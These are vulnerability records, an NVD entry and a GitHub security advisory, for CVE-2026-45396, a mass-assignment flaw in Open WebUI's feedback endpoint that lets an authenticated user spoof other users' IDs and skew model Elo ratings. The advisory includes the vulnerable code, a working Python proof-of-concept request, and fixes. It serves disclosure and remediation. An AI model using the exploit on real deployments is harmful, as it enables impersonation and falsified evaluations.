{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "19F64B41-71DA-4E31-A040-1C351A537567",
              "versionEndExcluding": "0.9.5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra=\u0027allow\u0027). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing. This vulnerability is fixed in 0.9.5."
    }
  ],
  "id": "CVE-2026-45396",
  "lastModified": "2026-05-19T12:20:29.730",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-15T21:16:37.590",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-915"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:26:18Z",
    "nvd_published_at": "2026-05-15T21:16:37Z",
    "severity": "MODERATE"
  },
  "details": "# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation\n\n## Summary\n\nThe `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra=\u0027allow\u0027)`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.\n\n## Details\n\nThe vulnerability exists in two layers:\n\n### 1. Model Layer \u2014 Insecure Dict Merge Order\n\n**File:** `backend/open_webui/models/feedbacks.py`, lines 148\u2013160\n\n```python\nasync def insert_new_feedback(\n    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None\n) -\u003e Optional[FeedbackModel]:\n    async with get_async_db_context(db) as db:\n        id = str(uuid.uuid4())\n        feedback = FeedbackModel(\n            **{\n                \u0027id\u0027: id,\n                \u0027user_id\u0027: user_id,       # \u2190 Server-set from auth token\n                \u0027version\u0027: 0,\n                **form_data.model_dump(),  # \u2190 OVERWRITES \u0027id\u0027, \u0027user_id\u0027, \u0027version\u0027\n                \u0027created_at\u0027: int(time.time()),\n                \u0027updated_at\u0027: int(time.time()),\n            }\n        )\n```\n\nIn Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `\u0027user_id\u0027: user_id`, any `user_id` field in the form data overwrites the authenticated user\u0027s ID.\n\n### 2. Schema Layer \u2014 `extra=\u0027allow\u0027` on Request Form\n\n**File:** `backend/open_webui/models/feedbacks.py`, line 106\n\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra=\u0027allow\u0027)  # \u2190 Accepts arbitrary extra fields\n```\n\nThe `extra=\u0027allow\u0027` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.\n\n### Contrast with Secure Pattern\n\nOther models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:\n\n```python\nfunction = FunctionModel(**{\n    **form_data.model_dump(),   # \u2190 Spread FIRST\n    \u0027user_id\u0027: user_id,         # \u2190 Server value AFTER \u2192 always wins\n})\n```\n\nAnd `ModelForm` at `backend/open_webui/models/models.py` uses `extra=\u0027ignore\u0027`, which is the strictest approach.\n\n## Impact\n\n### 1. User Identity Spoofing\nAn attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.\n\n### 2. Model Evaluation Leaderboard Manipulation\nThe Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:\n- Artificially inflate ratings for a specific model\n- Deflate ratings for competitor models\n- Make organizational model evaluation decisions unreliable\n\n### 3. Record ID Control\nBy injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won\u0027t overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.\n\n## PoC\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:8080\"\n\n# 1. Login as attacker\nsession = requests.Session()\nlogin_resp = session.post(f\"{BASE_URL}/api/v1/auths/signin\", json={\n    \"email\": \"attacker@example.com\",\n    \"password\": \"attackerpass\"\n})\ntoken = login_resp.json()[\"token\"]\nheaders = {\"Authorization\": f\"Bearer {token}\"}\n\n# 2. Create feedback attributed to a different user (victim)\nVICTIM_USER_ID = \"12345678-aaaa-bbbb-cccc-000000000000\"\n\nresp = session.post(\n    f\"{BASE_URL}/api/v1/evaluations/feedback\",\n    headers=headers,\n    json={\n        \"type\": \"rating\",\n        \"data\": {\n            \"model_id\": \"gpt-4o\",\n            \"rating\": 1,\n            \"sibling_model_ids\": [\"claude-3-opus\"],\n        },\n        # Mass assignment: these extra fields are accepted due to extra=\u0027allow\u0027\n        # and overwrite server-set values due to dict merge order\n        \"user_id\": VICTIM_USER_ID,  # Overwrites authenticated user ID\n        \"version\": 999,             # Overwrites default version\n    }\n)\n\nfeedback = resp.json()\nprint(f\"Feedback created with user_id: {feedback[\u0027user_id\u0027]}\")\n# Expected: attacker\u0027s own user_id\n# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)\nassert feedback[\"user_id\"] == VICTIM_USER_ID, \"Mass assignment successful!\"\n```\n\n## Severity\n\n**CVSS 3.1:** 5.4 (Medium) \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network\n- **Attack Complexity:** Low\n- **Privileges Required:** Low (any authenticated user)\n- **User Interaction:** None\n- **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)\n\n## Suggested Remediation\n\n### Option 1: Fix dict merge order (minimal fix)\n```python\nfeedback = FeedbackModel(\n    **{\n        **form_data.model_dump(),   # Spread FIRST\n        \u0027id\u0027: id,                    # Server values AFTER (always win)\n        \u0027user_id\u0027: user_id,\n        \u0027version\u0027: 0,\n        \u0027created_at\u0027: int(time.time()),\n        \u0027updated_at\u0027: int(time.time()),\n    }\n)\n```\n\n### Option 2: Remove `extra=\u0027allow\u0027` from FeedbackForm (recommended)\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra=\u0027ignore\u0027)  # Reject unexpected fields\n```\n\n### Option 3: Explicit field assignment (most secure)\n```python\nfeedback = FeedbackModel(\n    id=str(uuid.uuid4()),\n    user_id=user_id,\n    version=0,\n    type=form_data.type,\n    data=form_data.data.model_dump() if form_data.data else {},\n    meta=form_data.meta or {},\n    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},\n    created_at=int(time.time()),\n    updated_at=int(time.time()),\n)\n```\n\n## Affected Versions\n\n- v0.9.2 (current latest, confirmed vulnerable)\n- Likely all versions since feedback/evaluation feature was introduced\n\n## References\n\n- Prior advisory: \"Mass Assignment via Pydantic extra=\u0027allow\u0027 Allows Creating Folders in Other Users\u0027 Accounts\" (patched in v0.9.0) \u2014 same root cause class, different endpoint",
  "id": "GHSA-rjmp-vjf2-qf4g",
  "modified": "2026-05-15T23:55:14Z",
  "published": "2026-05-14T20:26:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45396"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation"
}